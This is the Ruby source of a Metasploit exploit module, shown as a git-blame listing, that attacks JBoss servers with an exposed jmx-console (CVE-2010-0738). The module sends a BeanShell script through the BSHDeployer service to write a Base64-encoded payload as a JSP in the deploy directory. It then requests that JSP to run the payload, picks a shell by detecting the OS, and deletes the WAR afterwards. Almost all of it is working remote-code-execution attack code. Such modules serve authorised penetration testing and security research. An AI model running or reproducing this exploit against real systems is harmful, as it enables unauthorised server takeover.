2010-06-21 16:26:14 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
2010-07-12 23:25:31 +00:00
|
|
|
HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] }
|
|
|
|
|
2010-06-21 16:26:14 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'JBoss JMX Console Beanshell Deployer WAR upload and deployment',
|
|
|
|
'Description' => %q{
|
|
|
|
This module can be used to install a WAR file payload on JBoss servers that have
|
|
|
|
an exposed "jmx-console" application. The payload is put on the server by
|
2011-01-10 14:34:24 +00:00
|
|
|
using the jboss.system:BSHDeployer\'s createScriptDeployment() method.
|
2010-06-21 16:26:14 +00:00
|
|
|
},
|
2011-01-10 14:34:24 +00:00
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Patrick Hof',
|
|
|
|
'jduck',
|
|
|
|
'Konrads Smelkovs'
|
|
|
|
],
|
2010-06-21 16:26:14 +00:00
|
|
|
'License' => BSD_LICENSE,
|
2011-01-10 14:34:24 +00:00
|
|
|
'Version' => '$Revision$',
|
2010-06-21 16:26:14 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2010-0738' ], # using a VERB other than GET/POST
|
2011-07-18 05:18:25 +00:00
|
|
|
[ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ],
|
|
|
|
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ],
|
2010-06-21 16:26:14 +00:00
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'Platform' => [ 'windows', 'linux' ],
|
|
|
|
'Stance' => Msf::Exploit::Stance::Aggressive,
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Universal',
|
|
|
|
{
|
|
|
|
'Arch' => ARCH_JAVA,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
2011-01-10 14:34:24 +00:00
|
|
|
'DisableNops' => true
|
2010-06-21 16:26:14 +00:00
|
|
|
},
|
|
|
|
}
|
|
|
|
],
|
|
|
|
],
|
2011-07-18 05:18:25 +00:00
|
|
|
'DisclosureDate' => "Apr 26 2010",
|
2010-06-21 16:26:14 +00:00
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(8080),
|
|
|
|
OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
|
|
|
|
OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
|
2011-01-10 14:34:24 +00:00
|
|
|
OptString.new('SHELL', [ false, 'The system shell to use', 'auto' ]),
|
2010-06-21 16:26:14 +00:00
|
|
|
OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
|
|
|
|
OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]),
|
|
|
|
OptString.new('PATH', [ true, 'The URI path of the JMX console', '/jmx-console' ]),
|
|
|
|
OptString.new('VERB', [ true, 'The HTTP verb to use (for CVE-2010-0738)', 'POST' ]),
|
2011-01-10 14:34:24 +00:00
|
|
|
OptString.new('PACKAGE', [ true, 'The package containing the BSHDeployer service', 'auto' ])
|
2010-06-21 16:26:14 +00:00
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
datastore['BasicAuthUser'] = datastore['USERNAME']
|
|
|
|
datastore['BasicAuthPass'] = datastore['PASSWORD']
|
|
|
|
|
|
|
|
jsp_name = datastore['JSP'] || rand_text_alphanumeric(8+rand(8))
|
|
|
|
app_base = datastore['APPBASE'] || rand_text_alphanumeric(8+rand(8))
|
|
|
|
|
|
|
|
verb = datastore['VERB']
|
|
|
|
if (verb != 'GET' and verb != 'POST')
|
|
|
|
verb = 'HEAD'
|
|
|
|
end
|
|
|
|
|
2010-06-23 22:25:03 +00:00
|
|
|
p = payload
|
2011-01-10 14:34:24 +00:00
|
|
|
if datastore['SHELL'] == 'auto'
|
|
|
|
if verb != 'HEAD'
|
|
|
|
if not (plat = detect_platform())
|
|
|
|
raise RuntimeError, 'Unable to detect platform!'
|
|
|
|
end
|
|
|
|
|
|
|
|
case plat
|
|
|
|
when 'linux'
|
|
|
|
datastore['SHELL'] = '/bin/sh'
|
|
|
|
when 'win'
|
|
|
|
datastore['SHELL'] = 'cmd.exe'
|
|
|
|
end
|
|
|
|
|
|
|
|
print_status("SHELL set to #{datastore['SHELL']}")
|
|
|
|
else
|
|
|
|
raise RuntimeError, 'Platform detection with HEAD is not supported, please set SHELL manually'
|
2010-06-21 16:26:14 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
# Payload generation already happened, therefore SHELL will
|
|
|
|
# already be 'automatic' in the payload regardless of what we set above.
|
|
|
|
# To fix this, we regenerate the payload now..
|
2010-08-03 15:14:34 +00:00
|
|
|
return if ((p = exploit_regenerate_payload(platform, target_arch)) == nil)
|
2010-06-21 16:26:14 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
# The following Beanshell script will write the exploded WAR file to the deploy/
|
|
|
|
# directory
|
2010-06-21 16:45:26 +00:00
|
|
|
encoded_payload = [p.encoded].pack('m').gsub(/\n/, '')
|
2010-06-21 16:26:14 +00:00
|
|
|
bsh_script = <<-EOT
|
|
|
|
import java.io.FileOutputStream;
|
|
|
|
import sun.misc.BASE64Decoder;
|
|
|
|
|
2010-06-21 16:45:26 +00:00
|
|
|
String val = "#{encoded_payload}";
|
2010-06-21 16:26:14 +00:00
|
|
|
|
|
|
|
BASE64Decoder decoder = new BASE64Decoder();
|
|
|
|
String jboss_home = System.getProperty("jboss.server.home.dir");
|
|
|
|
new File(jboss_home + "/deploy/#{app_base + '.war'}").mkdir();
|
|
|
|
byte[] byteval = decoder.decodeBuffer(val);
|
|
|
|
String jsp_file = jboss_home + "/deploy/#{app_base + '.war/' + jsp_name + '.jsp'}";
|
|
|
|
FileOutputStream fstream = new FileOutputStream(jsp_file);
|
|
|
|
fstream.write(byteval);
|
|
|
|
fstream.close();
|
|
|
|
EOT
|
|
|
|
|
2011-01-10 14:34:24 +00:00
|
|
|
|
2010-06-21 16:26:14 +00:00
|
|
|
#
|
|
|
|
# UPLOAD
|
|
|
|
#
|
|
|
|
print_status("Creating exploded WAR in deploy/#{app_base}.war/ dir via BSHDeployer")
|
2011-01-10 14:34:24 +00:00
|
|
|
if datastore['PACKAGE'] == 'auto'
|
|
|
|
packages = %w{ deployer scripts }
|
|
|
|
else
|
|
|
|
packages = [ datastore['PACKAGE'] ]
|
2010-06-21 16:26:14 +00:00
|
|
|
end
|
2011-01-10 14:34:24 +00:00
|
|
|
|
|
|
|
pkg = nil
|
|
|
|
success = false
|
|
|
|
packages.each do |p|
|
|
|
|
print_status("Attempting to use '#{p}' as package")
|
|
|
|
res = invoke_bshscript(bsh_script, p, verb)
|
|
|
|
if !res
|
|
|
|
raise RuntimeError, "Unable to deploy WAR [No Response]"
|
|
|
|
end
|
|
|
|
|
|
|
|
if (res.code < 200 || res.code >= 300)
|
|
|
|
case res.code
|
|
|
|
when 401
|
|
|
|
print_error("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
|
|
|
|
end
|
|
|
|
print_error("Upload to deploy WAR [#{res.code} #{res.message}]")
|
|
|
|
else
|
|
|
|
success = true
|
|
|
|
pkg = p
|
|
|
|
break
|
2010-06-21 16:26:14 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2011-01-10 14:34:24 +00:00
|
|
|
if not success
|
|
|
|
raise RuntimeError("Deployment failed")
|
|
|
|
end
|
|
|
|
|
|
|
|
|
2010-06-21 16:26:14 +00:00
|
|
|
#
|
|
|
|
# EXECUTE
|
|
|
|
#
|
|
|
|
uri = '/' + app_base + '/' + jsp_name + '.jsp'
|
|
|
|
print_status("Executing #{uri}...")
|
|
|
|
|
|
|
|
# JBoss might need some time for the deployment. Try 5 times at most and
|
2011-01-10 14:34:24 +00:00
|
|
|
# wait 5 seconds inbetween tries
|
2010-06-21 16:26:14 +00:00
|
|
|
num_attempts = 5
|
|
|
|
num_attempts.times { |attempt|
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => uri,
|
|
|
|
'method' => verb
|
|
|
|
}, 20)
|
|
|
|
|
|
|
|
msg = nil
|
|
|
|
if (! res)
|
|
|
|
msg = "Execution failed on #{uri} [No Response]"
|
|
|
|
elsif (res.code < 200 or res.code >= 300)
|
|
|
|
msg = "Execution failed on #{uri} [#{res.code} #{res.message}]"
|
|
|
|
elsif (res.code == 200)
|
|
|
|
print_good("Successfully triggered payload at '#{uri}'")
|
|
|
|
break
|
|
|
|
end
|
|
|
|
|
|
|
|
if (attempt < num_attempts - 1)
|
2011-01-10 14:34:24 +00:00
|
|
|
msg << ", retrying in 5 seconds..."
|
2010-06-21 16:26:14 +00:00
|
|
|
print_error(msg)
|
|
|
|
|
2011-01-10 14:34:24 +00:00
|
|
|
select(nil, nil, nil, 5)
|
2010-06-21 16:26:14 +00:00
|
|
|
else
|
|
|
|
print_error(msg)
|
|
|
|
end
|
|
|
|
}
|
|
|
|
|
2011-01-10 14:34:24 +00:00
|
|
|
|
2010-06-21 16:26:14 +00:00
|
|
|
#
|
|
|
|
# DELETE
|
|
|
|
#
|
|
|
|
# The WAR can only be removed by physically deleting it, otherwise it
|
|
|
|
# will get redeployed after a server restart.
|
|
|
|
bsh_script = <<-EOT
|
|
|
|
String jboss_home = System.getProperty("jboss.server.home.dir");
|
|
|
|
new File(jboss_home + "/deploy/#{app_base + '.war/' + jsp_name + '.jsp'}").delete();
|
|
|
|
new File(jboss_home + "/deploy/#{app_base + '.war'}").delete();
|
|
|
|
EOT
|
|
|
|
|
|
|
|
print_status("Undeploying #{uri} by deleting the WAR file via BSHDeployer...")
|
2011-01-08 04:11:01 +00:00
|
|
|
res = invoke_bshscript(bsh_script, pkg, verb)
|
2010-06-21 16:26:14 +00:00
|
|
|
if !res
|
|
|
|
print_error("WARNING: Unable to remove WAR [No Response]")
|
|
|
|
end
|
|
|
|
if (res.code < 200 || res.code >= 300)
|
|
|
|
print_error("WARNING: Unable to remove WAR [#{res.code} #{res.message}]")
|
|
|
|
end
|
|
|
|
|
|
|
|
handler
|
|
|
|
end
|
|
|
|
|
|
|
|
# Try to autodetect the target platform
|
|
|
|
def detect_platform()
|
|
|
|
print_status("Attempting to automatically detect the platform...")
|
|
|
|
|
|
|
|
path = datastore['PATH'] + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo'
|
|
|
|
res = send_request_raw(
|
|
|
|
{
|
|
|
|
'uri' => path
|
|
|
|
}, 20)
|
|
|
|
|
|
|
|
if (not res) or (res.code != 200)
|
|
|
|
print_error("Failed: Error requesting #{path}")
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
|
2011-04-03 17:40:45 +00:00
|
|
|
if (res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m)
|
2010-06-21 16:26:14 +00:00
|
|
|
os = $1
|
|
|
|
if (os =~ /Linux/i)
|
|
|
|
return 'linux'
|
2011-04-03 17:40:45 +00:00
|
|
|
elsif (os =~ /FreeBSD/i)
|
|
|
|
return 'linux'
|
2010-06-21 16:26:14 +00:00
|
|
|
elsif (os =~ /Windows/i)
|
|
|
|
return 'win'
|
|
|
|
end
|
|
|
|
end
|
|
|
|
nil
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
# Invokes +bsh_script+ on the JBoss AS via BSHDeployer
|
2011-01-08 04:11:01 +00:00
|
|
|
def invoke_bshscript(bsh_script, pkg, verb)
|
2010-06-21 16:26:14 +00:00
|
|
|
params = 'action=invokeOpByName'
|
2011-01-10 14:34:24 +00:00
|
|
|
params << '&name=jboss.' + pkg + ':service=BSHDeployer'
|
2010-06-21 16:26:14 +00:00
|
|
|
params << '&methodName=createScriptDeployment'
|
|
|
|
params << '&argType=java.lang.String'
|
|
|
|
params << '&arg0=' + Rex::Text.uri_encode(bsh_script)
|
|
|
|
params << '&argType=java.lang.String'
|
|
|
|
params << '&arg1=' + rand_text_alphanumeric(8+rand(8)) + '.bsh'
|
|
|
|
|
|
|
|
if (verb == "POST")
|
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => verb,
|
|
|
|
'uri' => datastore['PATH'] + '/HtmlAdaptor',
|
|
|
|
'data' => params
|
|
|
|
})
|
|
|
|
else
|
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => verb,
|
|
|
|
'uri' => datastore['PATH'] + '/HtmlAdaptor?' + params
|
|
|
|
})
|
|
|
|
end
|
|
|
|
res
|
|
|
|
end
|
|
|
|
end
|